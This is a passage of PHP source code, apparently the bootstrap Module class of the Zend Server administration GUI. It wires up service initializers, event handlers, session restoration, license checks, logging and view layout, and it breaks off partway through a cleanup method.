                    $instance  = $first;
                }
                if ($instance instanceof \Configuration\License\LicenseAwareInterface || method_exists($instance,
                        'setLicense')) {
                    $license = $serviceManager->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo();
                    $instance->setLicense($license);
                }
            },
            // set ACL
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof AclQuerierInterface) {
                    $instance->setAcl($serviceManager->get('ZendServerAcl'));
                }
            },
            // set tasks mapper
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof TasksMapperAwareInterface) {
                    $instance->setTasksMapper($serviceManager->get('Zsd\Db\TasksMapper'));
                }
            },
            // set edition
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof EditionAwareInterface) {
                    $instance->setEdition(new Edition());
                }
            },
            // set configuration locally
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof ConfigAwareInterface) {
                    $namespaces = $instance->getAwareNamespace();
                    $config     = Module::config(current($namespaces));
                    $instance->setConfig($config);
                }
            },
            // set DB adapter
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }

                if ($instance instanceof AdapterAwareInterface) {
                    if ($first instanceof ServiceLocatorInterface) {
                        $container = $first;
                        $instance  = $second;
                    } else {
                        $container = $second;
                        $instance  = $first;
                    }
                    $dbName = $instance->getAdapterDb();
                    $instance->setDbAdapter($serviceManager->get($dbName));
                }
            },
            // set servers mapper
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof ServersAwareInterface) {
                    if ($first instanceof ServiceLocatorInterface) {
                        $container = $first;
                        $instance  = $second;
                    } else {
                        $container = $second;
                        $instance  = $first;
                    }
                    $instance->setServersMapper($serviceManager->get('Servers\Db\Mapper'));
                }
            },
            // set audit
            function($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof InjectAuditMessageInterface) {
                    $instance->setAuditMessage($serviceManager->get('Audit\Controller\Plugin\AuditMessage'));
                }
            },
            // set directives mapper
            function($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof AbstractDevBarProducer) {
                    $directivesMapper = $serviceManager->get('Configuration\MapperDirectives');
                    $instance->setDirectivesMapper($directivesMapper);
                }
            },
        );

        // combine service locators
        $serviceLocators = array(
            $this->serviceManager,
            //$serviceManager->get('ControllerLoader'),
            $serviceManager->get('ControllerPluginManager'),
            $serviceManager->get('ViewHelperManager'),
        );

        // execute initializers
        foreach ($serviceLocators as $serviceLocator) {
            foreach ($initializers as $initializer) {
                $serviceLocator->addInitializer($initializer);
            }
        }
        // Connector is configuration aware!
        $db = $this->serviceManager()->get('Application\Db\AbstractFactoryConnector');
        $this->serviceManager()->addAbstractFactory($db);
        $this->application->getEventManager()->setEventPrototype($this->application->getMvcEvent());
        // clear the bootstrapCompleted flag if database is to be rebuilt
        $db->getEventManager()->attach('missingMetadata',
            function() use ($e) {
                $e->setParam('bootstrapCompleted', false);
            });

        $e->setParam('httpRequest', (!Console::isConsole()));
        $e->setParam('bootstrapCompleted', $this->isBootstrapCompleted());
        $e->setParam('redirectOnError', true);

        if ($e->getParam('httpRequest')) {
            $baseUrl = static::config('baseUrl');
            $this->application->getRequest()->setBaseUrl($baseUrl);
        } else {
            $e->setParam('useSessionControl', false);
            $e->setParam('useAclControl', false);
        }

        $eventsManager->attach(MvcEvent::EVENT_ROUTE, array($this, 'checkBootstrapCompleted'), -1000);
        $eventsManager->attach(MvcEvent::EVENT_ROUTE, array($this, 'initializeSessionControl'), -1000);
        $eventsManager->attach(MvcEvent::EVENT_ROUTE, array($this, 'checkLicenseValid'), -1000);

        $eventsManager->attach(MvcEvent::EVENT_RENDER, array($this, 'initializeView'));
        $eventsManager->attach(MvcEvent::EVENT_RENDER, array($this, 'initializeViewLayout'));
        $eventsManager->attach(MvcEvent::EVENT_RENDER, array($this, 'setRouteParams'));

        $eventsManager->attach(MvcEvent::EVENT_DISPATCH_ERROR, array($this, 'initializeLimitedACL'), -2000);

        $eventsManager->attach(MvcEvent::EVENT_FINISH, array($this, 'compressOutput'), 100);

        $eventsManager->attach('AuditMessage', array($this, 'auditMessage'), -2000);

        try {
            $dbError = false;
            $this->initializeLog($e);
            $this->checkDependencies($e);
            $this->initializeSessionManager($e);
            $this->initializeDbConnection($e);
            $this->initializeACL($e);
            $this->detectTimezone();
            $this->initializeLicense($e);
            $this->applyLicenseToAcl($e);
            $this->cleanupGuiTempDir();
        } catch (\Exception $ex) {
            Log::err("error in onBootstrap {$ex->getMessage()}");
            $this->initializeLimitedACL($e);

            $events = $this->application->getEventManager();
            $error  = $e;
            $error->setError(\Zend\Mvc\Application::ERROR_EXCEPTION);
            if ($ex instanceof \PDOException) {
                $error->setParam('exception',
                    new Exception(_t('Zend Server database error: %s', array($ex->getMessage())),
                        Exception::DATABASE_CONNECTION, $ex));
                $error->setParam('dbConnected', false);
            } elseif (($ex instanceof Exception && $ex->getCode() == Exception::DATABASE_CONNECTION) ||
                ($ex instanceof ServiceNotCreatedException && $ex->getCode() == \WebAPI\Exception::DATABASE_LOCKED)) {
                // fixed #ZSRV-16597, instead simple text replace to the gui page
                $error->setParam('exception', $ex);
                $dbError = true;
            } else {
                $error->setParam('exception',
                    new Exception(_t('Zend Server failed during initialization: %s', array($ex->getMessage())), null,
                        $ex));
            }
            $newEvent = $this->application->getMvcEvent();
            $newEvent->setError(\Zend\Mvc\Application::ERROR_EXCEPTION);
            $newEvent->setParam('exception', $error->getParam('exception'));
            $results  = $events->trigger(MvcEvent::EVENT_DISPATCH_ERROR, $newEvent);
            $results->setStopped(true);
            $e->setResult($results);
        }

        // check if extended auth is allowed
        if ((!self::config('authentication', 'simple')) &&
            (!$this->getLocator()->get('ZendServerAcl')->isAllowed('service:Authentication', 'extended'))
        ) {
            // we require extended authentication but are not authorized for it
            Log::notice('Extended authentication override, not allowed');
            self::config('authentication')->merge(new Config(array('simple' => true)));
        }

        $serviceManager->get('translator')->getEventManager()->attach(Translator::EVENT_MISSING_TRANSLATION,
            function(\Zend\EventManager\Event $event) {
                Log::debug("Translator: Missing translation string for `{$event->getParam('message')}`");
            });


        $this->application->getEventManager()->attach(MvcEvent::EVENT_DISPATCH_ERROR,
            function($e) {
                if ($e->getResponse()->getStatusCode() !== 500) {
                    return;
                }
                $result = $e->getResult();
                $result->setTerminal(true);
            });

        if ($dbError) {
            $result  = $e->getResult();
            $request = $e->getRequest();
            $headers = $request->getHeaders(); /* @var $headers \Zend\Http\Headers */
            if ($headers->has('XACCEPT')) {
                $acceptHeader = $headers->get('XACCEPT'); /* @var $acceptHeader \Zend\Http\Header\GenericHeader */
                $acceptHeader = \Zend\Http\Header\Accept::fromString("Accept: {$acceptHeader->getFieldValue()}");
            } else {
                $acceptHeader = $headers->get('ACCEPT'); /* @var $acceptHeader \Zend\Http\Header\Accept */
            }

            // define content-type request header
            $type = '';

            if (
                $acceptHeader instanceof \Zend\Http\Header\Accept &&
                preg_match('#^application/vnd\.zend\.serverapi#', $acceptHeader->getFieldValue())
            ) {

                $header = explode(';', $acceptHeader->getFieldValue());
                $type   = current($header);
            }

            // match string application/vnd.zend.serverapi+xml;version= with version number #.#
            preg_match('/^application\/vnd\.zend\.serverapi\+(?P<output>xml|json)/', $type, $matches);

            // set default value for version of the olders version possible 1.0 if not found
            if (!isset($matches['output']) || empty($matches['output'])) {
                $type = '';
            } else {
                $type = '.p'.$matches['output'];
            }

            $exceptionObj = $error->getParam('exception', '');

            if ($exceptionObj) {
                $e->getViewModel()->setVariable('exError', $exceptionObj->getMessage());
            } else {
                $e->getViewModel()->setVariable('exError', '');
            }
            $e->getViewModel()->setTemplate("error/database{$type}.phtml");
        }
    }

    /**
     *
     * @param <unknown> $e
     * @return
     */
    public function compressOutput($e)
    {
        if (Module::config('debugMode', 'debugModeEnabled') || $e->getParam('do-not-compress', false)) {
            return;
        }

        if (@strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false) {
            $response = $e->getResponse();
            $content  = $response->getBody();

            header('Content-Encoding: gzip');
            $content = gzencode($content, 9);

            $response->setContent($content);
        }
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    public function initializeDbConnection(MvcEvent $e)
    {
        $e->setParam('dbConnected', false);
        static $triesCounter = 0;
        try {
            $adapter = $this->serviceManager()->get(Connector::DB_CONTEXT_GUI);
            $adapter->driver->getConnection()->connect();
        } catch (\Exception $ex) {
            if (++$triesCounter >= 10) {
                throw new Exception('Database connection failed', Exception::DATABASE_CONNECTION, $ex);
            } else {
                // wait 200ms
                usleep(200 * 1000);
                $this->initializeDbConnection($e);
                return;
            }
        }

        $e->setParam('dbConnected', true);
    }

    /**
     * @brief Get the name of the session cookie
     * @return
     */
    protected function getSessionCookieName()
    {
        $sessionId = self::config('sessionControl', 'sessionId');
        if (!preg_match('/^[[:alnum:]]+$/i', $sessionId)) {
            Log::warn('Invalid zend_gui.sessionId detected, only alpha numeric characters are accepted');
            $sessionId = $this::SESSION_NAME;
        }

        // add 'S' to the name when connecting using HTTPS
        if (self::$isHTTPS) $sessionId .= 'S';

        return \ZendServer\Utils\Cookie::getPrefixKey($sessionId);
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    public function initializeSessionManager(MvcEvent $e)
    {
        Log::debug(__METHOD__);
        if ($e->getParam('useSessionControl', true)) {
            $serviceManager = $this->serviceManager();

            /* @var \Zend\Cache\Storage\Adapter\Filesystem */
            $cache = $serviceManager->get('ZSSessionFileCache');

            // get the previous session data from the cache
            // (for cases when the session changes from Zend_Cache to the standard handler.
            // on Cluster <-> Single switches)
            // (checking the opposite - for single, check if cluster's data was stored)
            $prefixLetters          = Module::isClusterServer() ? 'PS' : 'PC';
            $prevSessionIdEntryName = $prefixLetters.Module::config('sessionControl', 'zend_gui', 'sessionId');
            $prevSessionData        = $cache->getItem($prevSessionIdEntryName);

            if ($this->isSingleServer()) {
                // set custom session handler (use file cache)
                // session_set_save_handler($serviceManager->get('ZSCustomSessionHandler'), $__register_shutdown = true);
            }

            /* @var \Zend\Session\SessionManager */
            $sessionManager = $serviceManager->get('Zend\Session\SessionManager');

            $port = $_SERVER['SERVER_PORT'] ?? '';
            if (isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') {
                //HTTPS, Secure only set to true
                self::$isHTTPS = true;
                session_set_cookie_params(null, Cookie::getPath(), null, true, true);
            } else {
                session_set_cookie_params(null, Cookie::getPath(), null, null, true);
            }

            $sessionManager->setName($this->getSessionCookieName());

            // start the session
            static $sessionStorage = null;
            if (is_null($sessionStorage) || !($sessionStorage instanceof SessionStorage)) {
                $sessionStorage = new SessionStorage();
            }

            // check if previous session has to be restored
            if (!empty($prevSessionData)) {
                Log::debug('Found old session. Transfering to the new one. '.var_export($prevSessionData, true));
                $prevSessionData = @unserialize($prevSessionData);

                // restore CSRF
                if ($prevSessionData !== false) {
                    if (isset($prevSessionData['csrf'])) {
                        $csrfContainer = new \Zend\Session\Container('zs_csrf');
                        $csrfContainer->offsetSet('access_token', $prevSessionData['csrf']);
                    }

                    // restore the authentication
                    /* @var \Users\Identity */
                    if (isset($prevSessionData['identity']) && isset($prevSessionData['role'])) {
                        $identity = $e->getApplication()->getServiceManager()->get('Users\Identity');
                        $identity->setLoggedIn(true);
                        $identity->setIdentity($prevSessionData['identity']);
                        $identity->setRole($prevSessionData['role']);
                        $identity->setGroups($prevSessionData['groups']);
                        $identity->setUsername($prevSessionData['username']);

                        $authContainer            = new \Zend\Session\Container('Zend_Auth');
                        $authContainer['storage'] = $identity;
                    }
                }


                // delete the old data
                $removeResult = $cache->removeItem($prevSessionIdEntryName);
            }

            $this->detectRemoteAddr($e);
        }
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    public function checkBootstrapCompleted(MvcEvent $e)
    {
        Log::debug(__METHOD__);

        if (!$e->getParam('bootstrapCompleted')) {
            /* @var $routeMatch \Zend\Mvc\Router\Http\RouteMatch */
            $routeMatch = $e->getRouteMatch();

            if ($routeMatch->getParam('controller') === 'Login' &&
                $routeMatch->getParam('action') === 'get-login-data') {

                // Login Data
            } else {
                if ($routeMatch->getParam('bootstrap', false)) {
                    /// need to provide an identity for webapi requests
                    $authService = $e->getApplication()->getServiceManager()->get('Zend\Authentication\AuthenticationService');
                    $identity    = new Identity('Unknown');
                    $identity->setRole(appModule::ACL_ROLE_BOOTSTRAP);
                    $storage     = new NonPersistent();
                    $storage->write($identity);
                    $authService->setStorage($storage);
                } elseif ($e->getParam('redirectOnError')) {
                    $routeMatch->setParam('controller', 'Bootstrap');
                    Log::debug('Bootstrap needed, router result is overriden');
                }
            }
            $e->setParam('useSessionControl', false);
        }
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    public function checkLicenseValid(MvcEvent $e)
    {
        Log::debug(__METHOD__);

        /* @var $routeMatch \Zend\Mvc\Router\Http\RouteMatch */
        $routeMatch = $e->getRouteMatch();

        // if bootstrap is complete, the user has an identity and the route is specified NOT to work if license is expired
        if ($this->isBootstrapCompleted() &&
            $routeMatch->getParam('requireIdentity', true) &&
            $e->getParam('hasIdentity', true) &&
            (!$e->getRouteMatch()->getParam('licenseexpired', false))
        ) {

            // if the license is not valid and we should redirect if errors are found
            $licenseInfo = $e->getParam('licenseInfo'); /* @var $licenseInfo License */

            if ((!$e->getParam('licenseValid') || $licenseInfo->getEdition() == License::EDITION_EMPTY) && $e->getParam('redirectOnError')) {
                // if the license signature is not valid or the license is empty or it is expired
                if (!$licenseInfo->isSignatureValid() || $licenseInfo->getEdition() == License::EDITION_EMPTY || $licenseInfo->isLicenseExpired()) {
                    $controller = $routeMatch->getParam('controller');
                    $action     = $routeMatch->getParam('action');
                    Log::warn('Checking ('.$controller.', '.$action.')');
                    // redirect to the expired (if not during the login process)
                    if (
                        // not login process
                        !in_array($action, array('get-login-data', 'do-login')) &&
                        $controller != 'Expired'
                    ) {
                        $routeMatch->setParam('controller', 'Expired');
                        $routeMatch->setParam('action', 'index');
                        Log::warn('License is expired or invalid, redirect to expired interface ('.$controller.', '.$action.')');
                    }
                }
            }
        }
    }

    /**
     *
     * @param \ManagerEvent $e
     * @return
     */
    public function initializeDependencies(ManagerEvent $e)
    {

        // we want to override other session handlers here...
        ini_set("session.save_handler", "files");
        ini_set("zlib.output_compression", 0);
        ini_set("session.save_path", getCfgVar('zend.temp_dir'));

        // we want to overwrite the display_errors
        ini_set('display_errors', false);

        // preserve backtrack/recursion limit values
        ini_set('pcre.backtrack_limit', 1000000);
        ini_set('pcre.recursion_limit', 100000);

        date_default_timezone_set(@date_default_timezone_get());
    }

    public function initializeConfig(ManagerEvent $e)
    {
        static::$config = $config         = $e->getConfigListener()->getMergedConfig();
    }

    public function initializeDebugMode(ManagerEvent $e)
    {
        // debugModeEnabled = true
        if (static::config('debugMode', 'debugModeEnabled')) {
            // re-enable monitor events
            if (function_exists('zend_monitor_event_reporting')) {
                zend_monitor_event_reporting(6143);
            }
        } else { // debugModeEnabled = false
            if (function_exists('zend_codetracing_options')) {
                zend_codetracing_options(0);
            }

            if (function_exists('zend_disable_statistics')) {
                zend_disable_statistics();
            }

            if (function_exists('zend_urlinsight_disable')) {
                zend_urlinsight_disable();
            }
        }
    }

    /**
     * @param MvcEvent $e
     */
    public function initializeLog(MvcEvent $e)
    {
        $azure          = isAzureEnv();
        $standaloneZray = isZrayStandaloneEnv();
        if ($azure || $standaloneZray) {
            $writer   = new \Zend\Log\Writer\Stream(FS::createPath(getCfgVar('zend.log_dir'), 'zend_server_ui.log'),
                'a+');
            $jsWriter = new \Zend\Log\Writer\Stream(FS::createPath(getCfgVar('zend.log_dir'), 'zend_server_js.log'),
                'a+');
        } else {
            $uiLogPath = FS::createPath(dirname(ini_get('error_log')), 'zend_server_ui.log');
            $jsUiLogPath = FS::createPath(dirname(ini_get('error_log')), 'zend_server_js.log');
            $this->initLogRotation(dirname(ini_get('error_log')),'zend_server_ui');
            $this->initLogRotation(dirname(ini_get('error_log')),'zend_server_js');
            $writer   = new \Zend\Log\Writer\Stream($uiLogPath,
                'a+');
            $jsWriter = new \Zend\Log\Writer\Stream($jsUiLogPath,
                'a+');
        }

        if (static::config('debugMode', 'debugModeEnabled')) {
            $formatter = new Simple('%timestamp% %priorityName% (%priority%) [%uri%]: %message% %extra%');
            if ($e->getParam('httpRequest')) {
                $uri = new Uri($e->getRequest()->getServer()->get('REQUEST_URI'));
                $formatter->setUri(str_replace(static::config('baseUrl'), '', $uri->getPath()));
            } else {
                $request   = $e->getRequest(); /* @var $request \Zend\Console\Request */
                $routeName = current($request->getParams()->toArray());
                $formatter->setUri($routeName);
            }
            $writer->setFormatter($formatter);
        }
        $logger = new Logger();
        $logger->addWriter($writer);

        $jslogger = new Logger();
        $jslogger->addWriter($jsWriter);

        Logger::registerErrorHandler($logger);
        Logger::registerExceptionHandler($logger);

        if (is_null(Log::getLogger())) {
            Log::init($logger, self::config('logging', 'logVerbosity'));
        }

        if (is_null(Log::getJsLogger())) {
            Log::jsInit($jslogger, self::config('logging', 'logVerbosity'));
        }
        Log::debug('log initialized');
    }


    public function initLogRotation($folderName,$fileName){
        $rotateSizeLimit = 10485760; // 10mb
        $logPath = FS::createPath($folderName, $fileName.'.log');
        if(file_exists($logPath) && filesize($logPath) > $rotateSizeLimit){
            $targetLogPath = FS::createPath($folderName, $fileName.'_'.time().'.log');
            rename($logPath,$targetLogPath);
            FS::createPath($folderName, $fileName.'.log');
        }
    }

    public function initializeLicense(MvcEvent $e)
    {
        Log::debug(__METHOD__);
        $licenseMapper = $this->serviceManager->get('Configuration\License\ZemUtilsWrapper'); /* @var $licenseMapper \Configuration\License\ZemUtilsWrapper */
        $licenseInfo   = $licenseMapper->getLicenseInfo();
        $e->setParam('licenseValid', $licenseInfo->isLicenseOk());
        $e->setParam('licenseInfo', $licenseInfo);
    }

    public function initializeSessionControl(ManagerEvent $e)
    {
        Log::debug(__METHOD__);

        /* @var $routeMatch \Zend\Mvc\Router\Http\RouteMatch */
        $routeMatch = $e->getRouteMatch();

        if (in_array($routeMatch->getParam('action'), ['get-login-data', 'do-login']) === true && $routeMatch->getParam('controller')
            === 'Login') {
            return true;
        }

        // check if this is "expired" page
        if ($routeMatch->getParam('controller') === 'Expired' && $routeMatch->getParam('action') == 'index') {
            return true;
        }

        if (self::config('sessionControl', 'sessionControlEnabled') &&
            $e->getParam('useSessionControl', true) &&
            $routeMatch->getParam('requireIdentity', true)
        ) {
            /* @var $app \Zend\Mvc\Application */
            $app = $e->getApplication();

            /* @var \Zend\Authentication\AuthenticationService */
            $authService = $e->getApplication()->getServiceManager()->get('Zend\Authentication\AuthenticationService');
            if ($authService->hasIdentity() && $authService->getIdentity()->isLoggedIn()) {
                $e->setParam('hasIdentity', true);
                return true;
            }

            $e->setParam('hasIdentity', false);

            $routeMatch->setParam('collectCurrentUrl', true);
            $routeMatch->setParam('action', 'logout');
            $routeMatch->setParam('controller', 'Login');
            Log::notice('Session has no identity, redirecting to Login');
        }

        $serviceManager = $this->serviceManager;
        /* @var \Configuration\MapperDirectives */
        $mapper         = $serviceManager->get('Configuration\MapperDirectives');

        // in selective mode or in disabled zray to demand the login for ZRay Full Screen page
        if ($routeMatch->getParam('controller') == 'ZRayId' && ($mapper->getDirective('zray.enable')->getValue() != 1)) {

            /* @var $app \Zend\Mvc\Application */
            $app         = $e->getApplication();
            $authService = $e->getApplication()->getServiceManager()->get('Zend\Authentication\AuthenticationService');
            if ($authService->hasIdentity() && $authService->getIdentity()->isLoggedIn()) {
                $e->setParam('hasIdentity', true);
                return true;
            }

            $e->setParam('hasIdentity', false);
            $routeMatch->setParam('collectCurrentUrl', true);
            $routeMatch->setParam('action', 'logout');
            $routeMatch->setParam('controller', 'Login');
            Log::notice('Session has no identity, redirecting to Login');
        }
    }

    public function initializeView(ManagerEvent $e)
    {
        $app     = $this->application; /* @var $app \Zend\Mvc\Application */
        $locator = $this->getLocator();
        if ($e->getParam('httpRequest')) {
            $baseUrl = $app->getRequest()->getBaseUrl();

            $role = $this->getUserRole($app->getMvcEvent());

            // add form view helpers
            /* @var $renderer \ZendServer\View\Renderer\PhpRenderer */
            $renderer = $locator->get('ViewManager')->getRenderer();

            if ($e->getParam('initViewHelpers', true)) {

                $renderer->plugin('url')->setRouter($app->getMvcEvent()->getRouter());
                $renderer->doctype()->setDoctype('HTML5');
                $renderer->plugin('basePath')->setBasePath($baseUrl);

                /* @var $view \ZendServer\View\Renderer\PhpRenderer */
                $view = $renderer;

                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/zs-reset.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/layout.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/style.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/glyphicons.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/js/simplemodal/assets/css/simplemodal.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/simplemodal.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/wizard.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/configuration.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/toast.css');
                $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/spinner.css');

                if (isAzureEnv()) {
                    $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/azure.css');
                }

                if (isZrayStandaloneEnv()) {
                    $view->plugin('headLink')->appendStylesheet($baseUrl.'/css/zray-standalone.css');
                }

                $view->plugin('headScript')->appendFile($baseUrl.'/js/mootools.js');
                $view->plugin('headScript')->appendFile($baseUrl.'/js/mootools-more.js');

                $view->headLink(array(
                    'rel' => 'shortcut icon',
                    'type' => 'image/x-icon',
                    'href' => $baseUrl.'/images/favicon.ico'
                ));

                $view->doctype()->setDoctype('HTML5');
                $view->plugin('basePath')->setBasePath($baseUrl);
                Log::debug('Init helpers');
            }

            $renderer->setAcl($this->serviceManager->get('ZendServerAcl'));
            Log::debug('View initialized');
        }
    }

    public function initializeViewLayout(MvcEvent $e)
    {
        if ($e->isError()) {
            try {
                if ($e->getParam('dbConnected', true)) {
                    $licenseType         = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseType();
                    $licenseEvaluation   = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseEvaluation();
                    $daysToExpired       = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseExpirationDaysNum();
                    $licenseNeverExpires = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->isNeverExpires();
                    $licenseIsOk         = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->isLicenseOk();
                } else {
                    throw new Exception('No database connection', Exception::ASSERT);
                }
            } catch (\Exception $ex) {
                $licenseType         = 'Unknown';
                $licenseEvaluation   = false;
                $licenseNeverExpires = false;
                $daysToExpired       = false;
                $licenseIsOk         = false;
            }

            $app = $e->getApplication();
            $acl = $this->getLocator()->get('ZendServerAcl');

            $e->getViewModel()->setVariables(array('role' => ''));
            $e->getViewModel()->setVariables(array('userRole' => ''));
            $e->getViewModel()->setVariables(array('timezoneOffset' => 0));
            $role      = $this->getUserRole($e);
            $manager   = new Manager();
            $viewModel = $e->getViewModel()->setVariables(array(
                'notificationCenter' => false,
                'isAllowedToRestart' => false,
                'isAllowedToDismiss' => false,
                'disableUpdates' => self::config('notifications', 'zend_gui', 'disableUpdates'),
                'acl' => $acl,
                'feedbackUrl' => self::config('feedback', 'email'),
                'licenseType' => $licenseType,
                'licenseEvaluation' => $licenseEvaluation,
                'logoutTimeout' => self::config('logout', 'timeout'),
                'storeApiUrl' => self::config('plugins', 'storeApiUrl').'update.php',
                'serverInfo' => $this->getLocator()->get('ControllerPluginManager')->get('ServerInfo')->get(),
                'sessionId' => self::config('sessionControl', 'sessionId').(self::$isHTTPS ? 'S' : ''),
                'isI5' => ($manager->getOsType() == Manager::OS_TYPE_IBMI),
                'licenseNeverExpires' => $licenseNeverExpires,
                'daysToExpired' => $daysToExpired,
                'licenseIsOk' => $licenseIsOk,
                'role' => $role,
                'azure' => isAzureEnv(),
                'zrayStandalone' => isZrayStandaloneEnv(),
            ));
        } else {
            $app  = $e->getApplication();
            $role = $this->getUserRole($e);

            $e->getViewModel()->setVariables(array('userRole' => $role));

            $tz = $this->getTimezoneOffset(date_default_timezone_get());

            $e->getViewModel()->setVariables(array('timezoneOffset' => $tz));

            $locator            = $this->serviceManager;
            $acl                = $locator->get('ZendServerAcl'); /* @var $acl \ZendServer\Permissions\AclQuery */
            $isAllowedToRestart = $acl->isAllowed('route:ServersWebAPI', 'restartPhp');
            $isAllowedToDismiss = $acl->isAllowed('route:NotificationsWebApi', 'updateNotification');

            $licenseType = '';
            try {
                $licenseType         = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseType();
                $licenseEvaluation   = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseEvaluation();
                $daysToExpired       = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseExpirationDaysNum();
                $licenseNeverExpires = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->isNeverExpires();
                $licenseIsOk         = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->isLicenseOk();
            } catch (Exception $ex) {
                Log::notice('Unknown or missing license detected');
            }

            $manager   = new Manager();
            $viewModel = $e->getViewModel()->setVariables(array(
                'notificationCenter' => true,
                'notificationCenterLockedRestart' => self::config('notifications', 'zend_gui', 'lockUiOnRestart'),
                'disableUpdates' => self::config('notifications', 'zend_gui', 'disableUpdates'),
                'role' => $role,
                'isAllowedToRestart' => $isAllowedToRestart,
                'isAllowedToDismiss' => $isAllowedToDismiss,
                'licenseNeverExpires' => $licenseNeverExpires,
                'daysToExpired' => $daysToExpired,
                'licenseIsOk' => $licenseIsOk,
                'acl' => $acl,
                'feedbackUrl' => self::config('feedback', 'email'),
                'logoutTimeout' => self::config('logout', 'timeout'),
                'storeApiUrl' => self::config('plugins', 'storeApiUrl').'update.php',
                'serverInfo' => $this->getLocator()->get('ControllerPluginManager')->get('ServerInfo')->get(),
                'sessionId' => self::config('sessionControl', 'sessionId').(self::$isHTTPS ? 'S' : ''),
                'licenseType' => $licenseType,
                'licenseEvaluation' => $licenseEvaluation,
                'isI5' => ($manager->getOsType() == Manager::OS_TYPE_IBMI),
                'azure' => isAzureEnv(),
                'zrayStandalone' => isZrayStandaloneEnv(),
            ));
        }
        Log::debug(__METHOD__.':'.($e->isError() ? 'error' : ''));
    }

    private function getTimezoneOffset($tz)
    {
        try {
            $dt = new \DateTime(null, new \DateTimeZone($tz));
        }
        catch(\Exception $e) {
            return 0;
        }
        return (int)$dt->getOffset() / 3600;
    }

    /**
     *
     * @param MvcEvent $e
     */
    public function setRouteParams(MvcEvent $e)
    {
        /* @var $routeMatch \Zend\Mvc\Router\Http\RouteMatch */
        $routeMatch = $e->getRouteMatch();

        if ($e->getParam('httpRequest', true)) {
            if ($routeMatch) {
                $variables = array(
                    'controller' => $routeMatch->getParam('controller', ''),
                    'action' => $routeMatch->getParam('action', ''),
                    'isAjaxRequest' => $e->getRequest()->isXmlHttpRequest()
                );

                // otherwise, previous variables are removed
                $e->getViewModel()->setVariables($variables + (array) $e->getViewModel()->getVariables());
            } else {
                Log::debug($e->getRequest()->getServer('REQUEST_URI'));
            }
        }
    }

    /**
     *
     * @param \ManagerEvent $e
     * @return
     */
    public function initializeLimitedACL(ManagerEvent $e)
    {

        Log::debug(__METHOD__);
        $acl = new Acl();
        if (!$this->serviceManager->has('ZendServerLicenseAcl')) {
            $this->serviceManager->setService('ZendServerIdentityAcl', $acl);
            $this->serviceManager->setService('ZendServerLicenseAcl', $acl);
        }

        $queryAcl = $this->serviceManager->get('ZendServer\Permissions\AclQuery');
        $queryAcl->setEnabled(false);
        $queryAcl->setAcl($acl);
        $this->serviceManager->setAllowOverride(true);
        $acl      = $this->serviceManager->setService('ZendServerAcl', $queryAcl);
    }

    /**
     *
     * @param \ManagerEvent $e
     * @return
     */
    public function applyLicenseToAcl(ManagerEvent $e)
    {
        $licenseAcl = $this->serviceManager->get('ZendServerLicenseAcl');

        /* @var $license License */
        $license = $this->serviceManager->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo();

        // cloud license may not be viewed nor changed
        if ($license->isCloudLicense()) {
            $licenseAcl->deny('edition:'.License::EDITION_ENTERPRISE, 'route:License');
        }
    }

    /**
     * Read the GUI temp dir, detect old files and remove them (mainly OLD ZPK files)
     * @return
     */
    public function cleanupGuiTempDir()
    {

